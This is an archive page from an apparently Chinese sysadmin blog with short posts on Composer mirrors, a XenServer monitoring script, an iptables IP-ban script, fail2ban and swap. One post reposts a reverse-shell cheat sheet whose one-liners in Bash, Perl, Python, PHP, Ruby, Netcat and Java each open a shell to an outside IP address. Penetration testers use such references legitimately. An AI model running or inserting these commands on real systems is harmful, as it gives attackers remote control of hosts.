cszer

分类存档: 技术

国内Composer镜像收集

IN:PHP   Tags: ,    评论: 6   阅读:793 views

root@ubuntu:~# cat /root/.composer/config.json 
{
    "config": {

    },
    "repositories": [
        {"type": "composer", "url": "http://packagist.cn"},
        {"packagist": false}
    ]
}

其中 url 可替换为以下地址:

  • http://composer-proxy.jp/proxy/packagist
  • http://comproxy.cn/repo/packagist
  • http://pkg.phpcomposer.com/repo/packagist/
06-03
2015

xenserver虚拟机实时性能查看

IN:虚拟化   Tags:    评论: 6   阅读:1,153 views

登陆服务器,执行脚本/opt/tools/real_time_status.sh:(该脚本的相关数据都是从xentop命令中提取的)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
#!/bin/bash
# Program:
#       Real-time Performance
# History:
#	2014/09/29	caishunzhi First release
 
DIR="/opt/tools"
HOSTNAME=`/bin/hostname`
SORT=${1:-4}
NUM=${2:-6}
 
function get_performance()
{
	#cpu
	>/tmp/xentopcpu_
	#/usr/sbin/xentop -i2 -d1 -b -f >/tmp/xentopcpu_
	#CPU=`awk -F'[-r]' '{print $NF}' /tmp/xentopcpu_ |grep -v VBD_WR |awk 'BEGIN{sum=0}{sum+=$2}END{print sum}'`
 
	#traffic and io
	/usr/sbin/xentop -i1 -d1 -b -f |grep -v VBD_WR >/tmp/xentop_1
	TX1=`awk -F'[-r]' '{print $NF}' /tmp/xentop_1 |awk 'BEGIN{sum=0}{sum+=$9}END{print sum}'`
	RX1=`awk -F'[-r]' '{print $NF}' /tmp/xentop_1 |awk 'BEGIN{sum=0}{sum+=$10}END{print sum}'`
	VDB_RD1=`awk -F'[-r]' '{print $NF}' /tmp/xentop_1 |awk 'BEGIN{sum=0}{sum+=$13}END{print sum}'`
	VDB_WR1=`awk -F'[-r]' '{print $NF}' /tmp/xentop_1 |awk 'BEGIN{sum=0}{sum+=$14}END{print sum}'`
	sleep 1
	/usr/sbin/xentop -i1 -d1 -b -f |grep -v VBD_WR >/tmp/xentop_2
	TX2=`awk -F'[-r]' '{print $NF}' /tmp/xentop_2 |awk 'BEGIN{sum=0}{sum+=$9}END{print sum}'`
	RX2=`awk -F'[-r]' '{print $NF}' /tmp/xentop_2 |awk 'BEGIN{sum=0}{sum+=$10}END{print sum}'`
	VDB_RD2=`awk -F'[-r]' '{print $NF}' /tmp/xentop_2 |awk 'BEGIN{sum=0}{sum+=$13}END{print sum}'`
	VDB_WR2=`awk -F'[-r]' '{print $NF}' /tmp/xentop_2 |awk 'BEGIN{sum=0}{sum+=$14}END{print sum}'`
 
	date1=`stat /tmp/xentop_1 |grep Modify |awk '{print $2,$3}'`
	date2=`stat /tmp/xentop_2 |grep Modify |awk '{print $2,$3}'`
	start=`date +%s -d "$date1"`
	end=`date +%s -d "$date2"`
 
	let sleep=end-start
 
	#VM Performance Output
	awk '{print $1}' /tmp/xentop_1 >/tmp/vmname_
	awk -F'[-r]' '{print $NF}' /tmp/xentop_1 >/tmp/xentop_11
	awk -F'[-r]' '{print $NF}' /tmp/xentop_2 >/tmp/xentop_22
	awk -F'[-r]' '{print $NF}' /tmp/xentopcpu_ |sed '1,/NAME/d' |awk '{print $2}' >/tmp/xentop_33
	printf "\n%50s %6s %12s %12s %6s %6s\n" NAME CPU 'NETin(KB)' 'NETout(KB)' IOr IOw 
	paste /tmp/vmname_ /tmp/xentop_11 /tmp/xentop_22 /tmp/xentop_33 |awk -v n=$sleep '{printf "%50s %6s %12d %12d %6d %6d\n",$1,$NF,($27-$10)/n,($28-$11)/n,($31-$14)/n,($32-$15)/n}' |sort -k"$SORT" -rn |head -"$NUM"
}
 
while true;
do 
	get_performance
done

继续阅读 »

11-19
2014

SQL表连接图解

IN:技术, Linux 运维, MySQL   Tags:    评论: 3   阅读:1,277 views

估计很多人在学习SQL表连接的时候都会被各种类型的表连接搞得稀里糊涂的,现在好了,有了下面的图,就可以很直观的区分各种表连接了。

继续阅读 »

11-10
2014

banip

IN:工作相关, 技术, shell   Tags:    评论: 3   阅读:1,626 views

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#!/bin/bash
#2014/01/02 caishzh
 
TODAY=$(date +%Y%m%d)
LOG=/home/caishzh/banip.log
ACCESSLOG=/opt/apache/logs/access-${TODAY}.log
TMPLOG=/tmp/banip_tmp.log
NOW=$(date +%Y%m%d%H%M)
TMPTIME=$(date -d "-5 minute" +%Y%m%d%H%M)
LIMIT=30
 
sed -n "/${TMPTIME}/,/${NOW}/p" $ACCESSLOG >$TMPLOG
 
grep zone_protocol.aspx?zone_id $TMPLOG |cut -d" " -f3|sort|uniq -c|awk -v limit="$LIMIT" '$1>limit{print $1,$2}' | while read times ip;
do
     if ! iptables-save|grep $ip >/dev/null && ! grep "${ip}$" /home/caishzh/whitelist >/dev/null;then
          iptables -I INPUT -s "$ip" -p tcp -m tcp --dport 80 -j DROP    
          echo "$(date +'%F %T')  $times  $ip" >>$LOG
     fi
done
04-10
2014

linux性能调优(整理)

IN:Linux 运维       评论: 4   阅读:5,007 views

为什么要性能调优?

大部分的linux发行版是为了完全兼容市场中大部分计算机而设计的。这是一个相当混杂的硬件集合(硬盘,显卡,网卡,等等)。所以Red Hat, Suse,Mandriva和其他的一些发行版厂商选择了一些保守的设置来确保安装成功。
简单地说:你的发行版运行的很好,但是它可以运行地更好!
比如,可能有一个具体一些特殊特性的高级硬盘,而这些特性在标准配置的情况下可能就没被启用。
继续阅读 »

01-27
2014

Buffer和Cache的区别

IN:Linux 基础   Tags: ,    评论: 3   阅读:1,716 views

Buffer和Cache这两个知识点比较难理解一些,经过多方面资料的整理和总结吧,用一个比较通俗的语言将其描述出来,希望对大家有所帮助:

1. Buffer: 通过应用程序(比如nginx)来分配一个内存区域,指定此块内存区域作为buffer专用,其作用是能够使不同电脑硬件组件,不同运转速度的设备都有一个缓冲区域,避免快的过快,慢的过慢的情况,减少IO的操作次数,每次的逻辑运算后的值是不能重复使用的,即这次使用完了,值就清空了.

用一个例子来说明:”比如一辆公交车能载50人,但现在车上有45个人了,司机现在不开车,等在上5个人凑够50人的时候,在开车.这样一来就减少了一次发车次数.否则的话,就需要发两趟车.

2. cache: cache存储的值是可以循环使用的,就好像你的电话中的”最近拨打”,”最近联系人”等功能,通过存储近期使用的数据值来提高运算速度,减少IO操作次数.

来自:http://www.wxd5981.com/1298.html

01-27
2014

简单备份监控程序

IN:技术, Linux 运维   Tags: , ,    评论: 2   阅读:2,553 views

前言:

随着维护服务器的增多,每天一台台检查备份已经不切实际,即使通过email的方式(备份脚本执行完后将备份信息发送到指定邮箱)检查也要耗费不少的时间,每天做这种重复性且繁杂的事情对我们这类懒人来说简直痛不欲生。经过一次惨痛的教训之后,决定做个备份检查(监控)程序。 继续阅读 »

01-03
2014

反弹shell的方法汇总(转)

IN:技术, 安全   Tags:    评论: 6   阅读:1,802 views

Bash(在ubuntu12.10下测试通过)

1
bash -i >& /dev/tcp/211.152.83.2/1234 0>&1

PERL

1
perl -e 'use Socket;$i="211.152.83.2";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Python

1
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("211.152.83.2",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

PHP(需要启用php的fsockopen函数)

1
php -r '$sock=fsockopen("211.152.83.2",1234);exec("/bin/sh -i < &3 >&3 2>&3");'

Ruby

1
ruby -rsocket -e'f=TCPSocket.open("211.152.83.2",1234).to_i;exec sprintf("/bin/sh -i < &%d >&%d 2>&%d",f,f,f)'

Netcat

1
2
3
nc -e /bin/sh 211.152.83.2 1234
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 211.152.83.2 1234 >/tmp/f
nc x.x.x.x 8888|/bin/sh|nc x.x.x.x 9999

Java

1
2
3
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/211.152.83.2/1234;cat < &5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

来自:http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

12-16
2013

使用fail2ban防止暴力破解

IN:技术, 安全   Tags: , ,    评论: 1   阅读:4,510 views

简介:

fail2ban是linux下一款安全工具。通过监视系统日志,匹配日志的错误信息(正则式匹配),然后执行相应的屏蔽动作(一般情况下是调用防火墙屏蔽)。如:当有人在试探你的SSH、SMTP、FTP密码,只要达到你预设的次数,fail2ban就会调用防火墙屏蔽这个IP,而且可以发送e-mail通知系统管理员,是一款很实用、很强大的软件! 继续阅读 »

11-01
2013

Linux增加swap空间

IN:技术, Linux 基础   Tags:    评论: 3   阅读:1,941 views

[root@localhost ~]# free -m
             total       used       free     shared    buffers     cached
Mem:         32160      14212      17947          0        216      12096
-/+ buffers/cache:       1899      30260
Swap:         8189          0       8189

32G的内存,却只分配了8G的swap,在实际生产环境下经常出现swap空间不足的情况,需要手动增加swap空间,步骤如下: 继续阅读 »

10-22
2013
第 1 页,共 14 页12345...10...最旧 »